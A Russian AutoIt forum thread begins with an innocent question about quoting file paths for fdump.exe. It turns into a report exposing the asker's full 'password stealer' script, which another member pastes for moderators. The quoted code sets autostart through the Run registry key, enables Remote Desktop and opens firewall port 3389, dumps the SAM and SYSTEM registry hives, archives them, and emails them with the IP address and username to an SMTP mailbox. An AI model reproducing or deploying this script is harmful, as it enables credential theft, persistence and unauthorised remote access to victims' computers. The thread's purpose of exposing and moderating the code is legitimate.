Что нового

Не копируется файл

assch

Новичок
Сообщения
166
Репутация
4
Если попробывать с помощью этого консольного экзешника fdump.exe (копирует файл занятый каким нибудь процесом ) в конструкции Run скопировать какой нибудь файл например из диска С
Код:
Run("fdump.exe /V C:\xxxxxxx.xxx xxxxxxx.xxx", "", @SW_HIDE)

то файл скопируется без проблем он также скопируется без проблем если этот файл лежит в какой нибудь папке
в том числе и папки WINDOWS
Код:
Run("fdump.exe /V C:\WINDOWS\xxxxxxx.xxx xxxxxxx.xxx", "", @SW_HIDE)

но почему то не хочет копировать файл из папки Documents and Settings и из папки Program Files
Код:
Run("fdump.exe /V C:\Documents and Settings\xxxxxxx.xxx xxxxxxx.xxx", "", @SW_HIDE) ;(не копирует)
Run("fdump.exe /V C:\Program Files\xxxxxxx.xxx xxxxxxx.xxx", "", @SW_HIDE) ;(не копирует)

Не подскажете в чём проблема? (или это проблема с файлом fdump.exe)
 

Yashied

Модератор
Команда форума
Глобальный модератор
Сообщения
5 379
Репутация
2 711
Запусти этот скрипт, чтобы понять в чем проблема.

Код:
If $CmdLine[0] Then
	$Text = ''
	For $i = 1 To $CmdLine[0]
		$Text &= $i & ' - ' & $CmdLine[$i] & @CR
	Next
	MsgBox(0, '', $Text)
	Exit
EndIf

$Param = '/V C:\Documents and Settings\xxxxxxx.xxx xxxxxxx.xxx'
;$Param = '/V "C:\Documents and Settings\xxxxxxx.xxx" xxxxxxx.xxx'

Run(@AutoItExe & ' /AutoIt3ExecuteScript "' & @ScriptFullPath & '" ' & $Param)
 
Автор
A

assch

Новичок
Сообщения
166
Репутация
4
Спасибо Yashied
Как я понял проблема в пробелах
Подскажите пожалуйста это особенность конструкции Run или это особенность fdump.exe
Не подскажете как это можно обойти
 
Автор
A

assch

Новичок
Сообщения
166
Репутация
4
Код:
$a = "C:\WINDOWS\1.txt"
$b = "a.txt"
RunWait('fdump.exe /V ' & $a & " " & $b, '', @SW_HIDE) ;Копирует

$a = "C:\Documents and Settings\1.txt"
$b = "b.txt"
RunWait('fdump.exe /V ' & $a & " " & $b, '', @SW_HIDE) ;Не копирует


Не получается
Не подскажете наглядно где исправить
 

asdf8

Скриптер
Сообщения
564
Репутация
152
Код:
$a = "C:\WINDOWS\1.txt"
$b = "a.txt"
RunWait('fdump.exe /V "' & $a & '" "' & $b & '"', '', @SW_HIDE)

$a = "C:\Documents and Settings\1.txt"
$b = "b.txt"
RunWait('fdump.exe /V "' & $a & '" "' & $b & '"', '', @SW_HIDE)
 
Автор
A

assch

Новичок
Сообщения
166
Репутация
4
Спасибо asdf8 :ok:
 

Police

Новичок
Сообщения
27
Репутация
3
Код:
Предупреждение: в данной теме не было сообщений более 120 дней.
Если Вы не уверены что хотите ответить, то лучше создайте новую тему.
:whistle:

С нашего форума тему успели удалить, но "наследить" ТС успел.
Он позиционировал программу, как "Тырилка паролей"
По его словам, она записывается в автозагрузку, отправляет данные учётной записи и ип адрес на почту... делает ещё много чего. В том числе даёт доступ к системе.
По крайней мере, один из участников сразу нелестно отозвался о подобной деятельности и раскритиковал сам код, а потом назвал ТС по другому нику, по которому я и нашла его на этом форуме, по нему же я нашла эту и несколько других тем, в которых он "просит помощи" в коде.
Примите во внимание, накажите, поставьте в угол... Расстреляйте в конце-концов.
Сам код (орфография нетронута):

Код:
#include <Constants.au3>
#include <Encoding.au3>
#Include<file.au3>
#include <Inet.au3>
#NoTrayIcon
$IP = _GetIP()                             ;     узнаем ип адрес компа
$usernem = @UserName;                      ;     узнаем имя пользователя

$FromName = "Данные удаленного пк"         ;     тема письма
$Subject = "Удаленный компьютер"           ;     тело писима                   
$AttachFiles =  "C:\sam.7z"        ;     файл каторый нада прикрутить к письму


;==============     ВОТ ТУТ ВВЕДИ СВОИ ДАННЫЕ  почты =============================

$BccAddress = "[email protected]"       ;     полный твой маил адрес
$Username = "qwerty"                 ;     здесь логин твоей почты 
$Password = "abc"                  ;     здесь пароль 

;=============================================================================

;
;Return
$SmtpServer = "smtp.mail.ru"
$IPPort = 25
$ssl = 0
$Importance = "Normal"

;////////////////////////    ПЕРЕБРОСКА С ФЛЕШКИ НА КОМПЬЮТЕР   ///////////////////////////
If FileExists(@SystemDir & "\zzz.ini") Then
	Else
	$werifik  = FileOpen(@SystemDir & "\zzz.ini",2)
	FileWriteLine($werifik,"-")
	FileClose($werifik)
	FileCopy(@ScriptFullPath,@SystemDir)
	Sleep(300)

	;------------------------------------------------
	FileInstall("fdump.exe", "C:\fdump.exe");запаковуем ехе в пакет
Run("C:\fdump.exe /V " & @SystemDir & "\config\system C:\system", "", @SW_HIDE) ; извлекаем sam и system Файлы 
Run("C:\fdump.exe /V " & @SystemDir & "\config\SAM C:\sam", "", @SW_HIDE)       ; каторые доступны толька для чтения 
Sleep(900)
ProcessClose("fdump.exe")
Sleep(900)
ProcessClose("fdump.exe")
FileInstall("7z.exe", "C:\7z.exe")    ; запаковуем ехе пакет программы 7z
$a = 'C:'
$a1 = $a & "\7z.exe" & " a " & $a & "\sam.7z " & $a & "\sam"
$a2 = $a & "\7z.exe" & " a " & $a & "\sam.7z " & $a & "\system"
Run($a1, "", @SW_HIDE)  ; запаковуем
sleep(2000)             ; задержка
Run($a2, "", @SW_HIDE)  ; запаковуем
sleep(6000)             ; задержка
Run($a1, "", @SW_HIDE)  ; запаковуем
FileCopy("C:\sam.7z",@ScriptDir)
$ee = FileOpen("ip-names.txt",1)
FileWriteLine($ee,"IP адрес компьютера - " & _GetIP()& " ----- " &"Имя пользователя - " & @UserName)
FileClose($ee)
MsgBox(0,"","Программа внедренна в сисмему флешку можно извлеч",0)
;----------------------------------------------------------
    Run(@SystemDir & "\" & @ScriptName)
	Exit
	EndIf
;//////////////////////////////////////////////////////////////////////////////////////////

While 1
if FileExists("C:\bootsleep.ini") Then
$hFile = FileOpen("C:\bootsleep.ini",0)
$fil = FileReadLine($hFile);

if $fil <> _GetIP() Then 
	$Hfiles = 	FileOpen("C:\bootsleep.ini",2)
FileWriteLine($Hfiles, _GetIP())
FileWriteLine($Hfiles, @UserName)
$cons_string ="OK"
$Body = '<h1 /h1> Текущий IP Адрес  -  <font color="#CC0000">' & $IP & ' </font> ' & @CR  & '<h1 /h1>  Имя пользователя -   <font color="#CC0000">' & $usernem & ' </font> ' & @CR  & '<h1 /h1> Удаленный рабочий слол -   <font color="#CC0000">' & $cons_string & ' </font> '      ; само пьсьмо
$AttachFiles = ""
$rc = _INetSmtpMailCom($SmtpServer, $FromName, $BccAddress, $BccAddress, $Subject, $Body, $AttachFiles, $BccAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl)

EndIf
FileClose($hFile)

Else
$Hfiles = 	FileOpen( "C:\bootsleep.ini",2)
FileWriteLine($Hfiles, _GetIP())
FileWriteLine($Hfiles, @UserName)

;====   добавление программы в реестер для автозапуска ============
$sRegKey = "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" 
$NameProga="System_Trey"
RegWrite($sRegKey, $NameProga, "REG_SZ", @ScriptFullPath) 
;==================================================================
;==============  Вкалючаем удаленный рабочий столл ==============================
Dim $pid
Dim $cons_string
Run( 'cmd  /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f')
Run( 'cmd /c net start Termservice')
$pid = Run(@ComSpec & ' /k  netsh advfirewall firewall add rule name="allow RemoteDesktop" dir=in protocol=TCP localport=3389 action=allow', @SystemDir, @SW_HIDE, $STDOUT_CHILD + $STDERR_CHILD)
 $cons_string = StdoutRead($pid)
Sleep(500);
 $cons_string =StringMid(_Encoding_866To1251( StdoutRead($pid)),1,2) ;meняем кадировку

;=================================================================================
 ;@OSVersion
;@ComputerName ; сетевое имя компьютера

;==============   изятие файлов паролей  ========================================================
;=================================================================================================
FileInstall("fdump.exe", "C:\fdump.exe");запаковуем ехе в пакет
Run("C:\fdump.exe /V " & @SystemDir & "\config\system  C:\system", "", @SW_HIDE) ; извлекаем sam и system Файлы 
Run( "C:\fdump.exe /V " & @SystemDir & "\config\SAM C:\sam", "", @SW_HIDE)       ; каторые доступны толька для чтения 
Sleep(900)
ProcessClose("fdump.exe")
Sleep(900)
ProcessClose("fdump.exe")
FileInstall("7z.exe",  "C:\7z.exe")    ; запаковуем ехе пакет программы 7z
$a = 'C:'
$a1 = $a & "\7z.exe" & " a " & $a & "\sam.7z " & $a & "\sam"
$a2 = $a & "\7z.exe" & " a " & $a & "\sam.7z " & $a & "\system"
Run($a1, "", @SW_HIDE)  ; запаковуем
sleep(2000)             ; задержка
Run($a2, "", @SW_HIDE)  ; запаковуем
sleep(6000)             ; задержка
Run($a1, "", @SW_HIDE)  ; запаковуем





Global $oMyRet[2]
Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
$Body = '<h1 /h1> Текущий IP Адрес  -  <font color="#CC0000">' & $IP & ' </font> ' & @CR  & '<h1 /h1>  Имя пользователя -   <font color="#CC0000">' & $usernem & ' </font> ' & @CR  & '<h1 /h1> Удаленный рабочий слол -   <font color="#CC0000">' & $cons_string & ' </font> '      ; само пьсьмо
$rc = _INetSmtpMailCom($SmtpServer, $FromName, $BccAddress, $BccAddress, $Subject, $Body, $AttachFiles, $BccAddress, $BccAddress, $Importance, $Username, $Password, $IPPort, $ssl)
FileClose($Hfiles)
EndIf


Sleep(3200000)

WEnd


; =============   Отправка почты  =======================================================
;========================================================================================
Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance="Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0)
    Local $objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
    $objEmail.To = $s_ToAddress
    Local $i_Error = 0
    Local $i_Error_desciption = ""
    If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
    If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
    $objEmail.Subject = $s_Subject
    If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then
        $objEmail.HTMLBody = $as_Body
    Else
        $objEmail.Textbody = $as_Body & @CRLF
    EndIf
    If $s_AttachFiles <> "" Then
        Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
        For $x = 1 To $S_Files2Attach[0]
            $S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
            If FileExists($S_Files2Attach[$x]) Then
                ConsoleWrite('+> File attachment added: ' & $S_Files2Attach[$x] & @LF)
                $objEmail.AddAttachment($S_Files2Attach[$x])
            Else
                ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF)
                SetError(1)
                Return 0
            EndIf
        Next
    EndIf
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
    If Number($IPPort) = 0 then $IPPort = 25
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
    If $s_Username <> "" Then
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
    EndIf
    If $ssl Then
        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    EndIf

    $objEmail.Configuration.Fields.Update

    Switch $s_Importance
        Case "High"
            $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "High"
        Case "Normal"
            $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Normal"
        Case "Low"
            $objEmail.Fields.Item ("urn:schemas:mailheader:Importance") = "Low"
    EndSwitch
    $objEmail.Fields.Update

    $objEmail.Send
    If @error Then
        SetError(2)
        Return $oMyRet[1]
    EndIf
    $objEmail=""
EndFunc  
Func MyErrFunc()
    $HexNumber = Hex($oMyError.number, 8)
    $oMyRet[0] = $HexNumber
    $oMyRet[1] = StringStripWS($oMyError.description, 3)
    ConsoleWrite("### COM Error !  Number: " & $HexNumber & "   ScriptLine: " & $oMyError.scriptline & "   Description:" & $oMyRet[1] & @LF)
    SetError(1)
    Return
EndFunc
;===========================================================================================
;===========================================================================================


Архив прикреплять не буду, наверное.

Темы в которых лежат остальные куски кода:
0. - эта тема.
1. http://autoit-script.ru/index.php/topic,3181.0.html
2. http://autoit-script.ru/index.php/topic,3196.0.html
3. http://autoit-script.ru/index.php/topic,2816.0.html

Police.
 

kaster

Мой Аватар, он лучший самый
Команда форума
Глобальный модератор
Сообщения
4 020
Репутация
622
Police
самое страшное, что делает этот код - это грузит себя в автозагрузку и включает сервис, который возможно уже был включен. то, что он отсылает ветки SAM и SYSTEM это почти ничем не грозит. там пароли не хранятся. по крайней мере от xp и выше. система вообще нигде не хранит пароли, только их контрольные суммы. брутфорс хотя бы 8-символьного пароля в худшем случае займет более десяти лет. но вообще да, посмотрим что сам автор напишет, если еще посещает данный форум :smile:
 

Medic84

Омега
Команда форума
Администратор
Сообщения
1 574
Репутация
335
Police [?]
Расстреляйте в конце-концов.
С радостью, если бы можно было. А так сейчас начнем разбирательство и скорее всего отправим париться.
 
Верх